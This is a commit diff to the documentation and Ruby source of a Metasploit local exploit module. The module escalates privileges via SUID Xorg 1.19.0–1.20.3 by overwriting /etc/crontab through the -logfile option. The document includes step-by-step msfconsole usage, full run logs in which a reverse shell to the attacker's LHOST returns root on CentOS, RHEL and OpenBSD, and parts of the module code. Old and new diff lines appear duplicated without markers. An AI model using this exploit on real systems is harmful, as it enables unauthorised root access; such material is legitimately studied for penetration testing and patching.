Update tested versions
Brendan Coles
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## Description
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This module attempts to gain root privileges using Xorg X11 server versions 1.19.0 < 1.20.3 set as SUID. A permission check flaw exists for -modulepath and -logfile options when starting Xorg. This flaw allows users to write over existing files on the system. This exploit backs up crontab and then uses -logfile to overwrite it. A command to be run is set for the Font Path argument -fp which will be logged and ran by cron.
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This module attempts to gain root privileges using Xorg X11 server versions 1.19.0 < 1.20.3 set as SUID. A permission check flaw exists for -modulepath and -logfile options when starting Xorg. This flaw allows users to write over existing files on the system. This exploit backs up crontab and then uses -logfile to overwrite it. A command to be run is set for the Font Path argument -fp which will be logged and ran by cron.
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## Vulnerable Application
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Xorg (commonly referred as simply X) is the most popular display server among Linux users. Its ubiquity has led to making it an ever-present requisite for GUI applications, resulting in massive adoption from most distributions.
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Xorg (commonly referred as simply X) is the most popular display server among Linux users. Its ubiquity has led to making it an ever-present requisite for GUI applications, resulting in massive adoption from most distributions.
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Xorg is more restrictive to exploit under CentOS. The user must have console lock and SeLinux may interfere. If Selinux is enforcing crontabs context will be changed on exploit and you will be unable to clean it.
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Xorg is more restrictive to exploit under CentOS / RHEL. The user must have console lock and SeLinux may interfere. If Selinux is enforcing crontabs context will be changed on exploit and you will be unable to clean it.
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This module has been tested successfully on:
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* OpenBSD 6.3
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* OpenBSD 6.4
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* CentOS 7.4.1708 x86_64
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* CentOS 7.5.1084 x86_64
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* Red Hat Enterprise Linux 7.5 x86_64
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## Verification Steps
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On CentOS your session must have console lock. To get a console lock you can login locally with a user.
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On CentOS/RHEL your session must have console lock. To get a console lock you can login locally with a user.
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1. Start `msfconsole`
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2. Get a session
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3. Do: `use exploit/multi/local/xorg_x11_suid_server`
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4. Do: Set a payload/target or use default(cmd/unix/reverse_openssl)
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4. Do: Set a payload/target or use default(cmd/unix/reverse_openssl)
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5. Do: `set SESSION [SESSION]`
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6. Do: `set LHOST [LHOST]`
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7. Do: `run`
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8. You should get a new *root* session
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## Options
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**SESSION**
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Which session to use, which can be viewed with `sessions`
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## Advanced Options
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**Xdisplay**
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@ -43,19 +40,25 @@
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**WritableDir**
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A writable directory file system path. (default: `/tmp`)
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A writable directory file system path (default: `/tmp`)
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**ConsoleLock**
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**ConsoleLock**
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Will check for console lock under linux (default: `true`)
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Will check for console lock under linux (default: `true`)
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## Scenarios
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### OpenBSD
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```
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msf5 > use exploit/multi/local/xorg_x11_suid_server
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msf5 exploit(multi/local/xorg_x11_suid_server) > set session 1
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session => 1
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msf5 exploit(multi/local/xorg_x11_suid_server) > set lhost 172.30.0.2
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lhost => 172.30.0.2
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msf5 exploit(multi/local/xorg_x11_suid_server) > set verbose true
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verbose => true
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msf5 exploit(multi/local/xorg_x11_suid_server) > run
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[!] SESSION may not be compatible with this module.
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@ -89,3 +92,98 @@ msf5 exploit(multi/local/xorg_x11_suid_server) > run
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id
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uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
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```
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### CentOS 7.4.1708 x86_64
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```
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msf5 > use exploit/multi/local/xorg_x11_suid_server
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msf5 exploit(multi/local/xorg_x11_suid_server) > set session 1
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session => 1
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msf5 exploit(multi/local/xorg_x11_suid_server) > set lhost 172.16.191.165
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lhost => 172.16.191.165
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msf5 exploit(multi/local/xorg_x11_suid_server) > set verbose true
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verbose => true
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msf5 exploit(multi/local/xorg_x11_suid_server) > run
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[*] Started reverse double SSL handler on 172.16.191.188:4444
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[*] Running additional check for Linux
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[+] Console lock for user
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[+] Selinux is not an issue
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[+] Xorg path found at /usr/bin/Xorg
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[+] Xorg binary /usr/bin/Xorg is SUID
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[+] Xorg version 1.19.3 is vulnerable
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[!] Xorg in process list
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[!] Could not get version or Xorg process possibly running, may fail
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[+] Passed all initial checks for exploit
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[*] Uploading your payload, this could take a while
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[*] Trying /etc/crontab overwrite
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[+] /etc/crontab overwrite successful
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[*] Waiting on cron to run
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[*] Accepted the first client connection...
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[*] Accepted the second client connection...
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[*] Command: echo zk0jobDMxFdBxLBU;
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[*] Writing to socket A
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[*] Writing to socket B
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[*] Reading from sockets...
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[*] Reading from socket A
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[*] A: "zk0jobDMxFdBxLBU\n"
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[*] Matching...
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[*] B is input...
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[*] Command shell session 7 opened (172.16.191.188:4444 -> 172.16.191.141:46318) at 2018-11-24 21:31:04 -0500
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[*] Waiting on cron to run
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[+] Returning session after cleaning
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[+] Deleted /tmp/.session-Tafw0iW0r8
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id
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uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_t:s0-s0:c0.c1023
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uname -a
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Linux centos-7-1708.localdomain 3.10.0-693.el7.x86_64 #1 SMP Tue Aug 22 21:09:27 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
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```
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### Red Hat Enterprise Linux 7.5 x86_64
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```
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msf5 > use exploit/multi/local/xorg_x11_suid_server
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msf5 exploit(multi/local/xorg_x11_suid_server) > set session 1
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session => 1
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msf5 exploit(multi/local/xorg_x11_suid_server) > set lhost 172.16.191.165
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lhost => 172.16.191.165
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msf5 exploit(multi/local/xorg_x11_suid_server) > set verbose true
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verbose => true
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msf5 exploit(multi/local/xorg_x11_suid_server) > run
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[*] Started reverse double SSL handler on 172.16.191.165:4444
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[*] Running additional check for Linux
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[+] Console lock for user
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[+] Selinux is not an issue
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[+] Xorg path found at /usr/bin/Xorg
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[+] Xorg binary /usr/bin/Xorg is SUID
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[+] Xorg version 1.19.5 is vulnerable
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[!] Xorg in process list
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[!] Could not get version or Xorg process possibly running, may fail
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[+] Passed all initial checks for exploit
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[*] Uploading your payload, this could take a while
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[*] Trying /etc/crontab overwrite
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[*] Accepted the first client connection...
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[*] Accepted the second client connection...
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[*] Command: echo EEdPp66R4es6U3WF;
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[*] Writing to socket A
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[*] Writing to socket B
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[*] Reading from sockets...
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[+] /etc/crontab overwrite successful. Waiting for job to run (may take a minute)...
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[*] Reading from socket B
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[*] B: "EEdPp66R4es6U3WF\n"
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[*] Matching...
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[*] A is input...
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[*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.228:44978) at 2019-04-21 06:29:04 -0400
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[+] Returning session after cleaning
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[+] Deleted /tmp/.session-aqxyug0fH
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id
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uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_t:s0-s0:c0.c1023
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uname -a
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Linux red-hat-7-5-x64.local 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64 x86_64 x86_64 GNU/Linux
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cat /etc/redhat-release
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Red Hat Enterprise Linux Server release 7.5 (Maipo)
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```
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@ -5,6 +5,7 @@
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class MetasploitModule < Msf::Exploit::Local
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Rank = GoodRanking
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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include Msf::Post::File
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@ -13,21 +14,25 @@ class MetasploitModule < Msf::Exploit::Local
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Xorg X11 Server SUID privilege escalation',
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'Name' => 'Xorg X11 Server SUID logfile Privilege Escalation',
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'Description' => %q{
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This module attempts to gain root privileges with SUID Xorg X11 server
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versions 1.19.0 < 1.20.3.
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A permission check flaw exists for -modulepath and -logfile options when
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starting Xorg. This allows unprivileged users that can start the server
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starting Xorg. This allows unprivileged users that can start the server
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the ability to elevate privileges and run arbitrary code under root
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privileges.
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This module has been tested with OpenBSD 6.3, 6.4, and CentOS 7 (1708).
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CentOS default install will require console auth for the users session.
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Cron launches the payload so if Selinux is enforcing exploitation
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This module has been tested with OpenBSD 6.3, 6.4, CentOS 7.4.1708, and
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CentOS 7.5.1804, and RHEL 7.5. The default PAM configuration for CentOS
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and RHEL systems requires console auth for the user's session to start
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the Xorg server.
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Cron launches the payload, so if SELinux is enforcing, exploitation
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may still be possible, but the module will bail.
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Xorg must have SUID permissions and may not start if running.
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Xorg must have SUID permissions and may not start if already running.
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On exploitation a crontab.old backup file will be created by Xorg.
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This module will remove the .old file and restore crontab after
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@ -41,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Local
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'Narendra Shinde', # Discovery and exploit
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'Raptor - 0xdea', # Modified exploit for cron
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'Aaron Ringo', # Metasploit module
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'bcoles' # Metasploit module
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'bcoles' # Metasploit module
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],
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'DisclosureDate' => 'Oct 25 2018',
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'References' =>
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@ -80,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Local
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[
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OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
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OptString.new('Xdisplay', [ true, 'Display exploit will attempt to use', ':1' ]),
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OptBool.new('ConsoleLock', [ true, 'Will check for console lock under linux', true ])
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OptBool.new('ConsoleLock', [ true, 'Will check for console lock on linux systems', true ])
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]
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)
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end
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check_status = check
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if check_status == CheckCode::Appears
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print_warning 'Could not get version or Xorg process possibly running, may fail'
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elsif check_status == CheckCode::Safe
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elsif check_status == CheckCode::Safe
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fail_with Failure::NotVulnerable, 'Target not vulnerable'
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end
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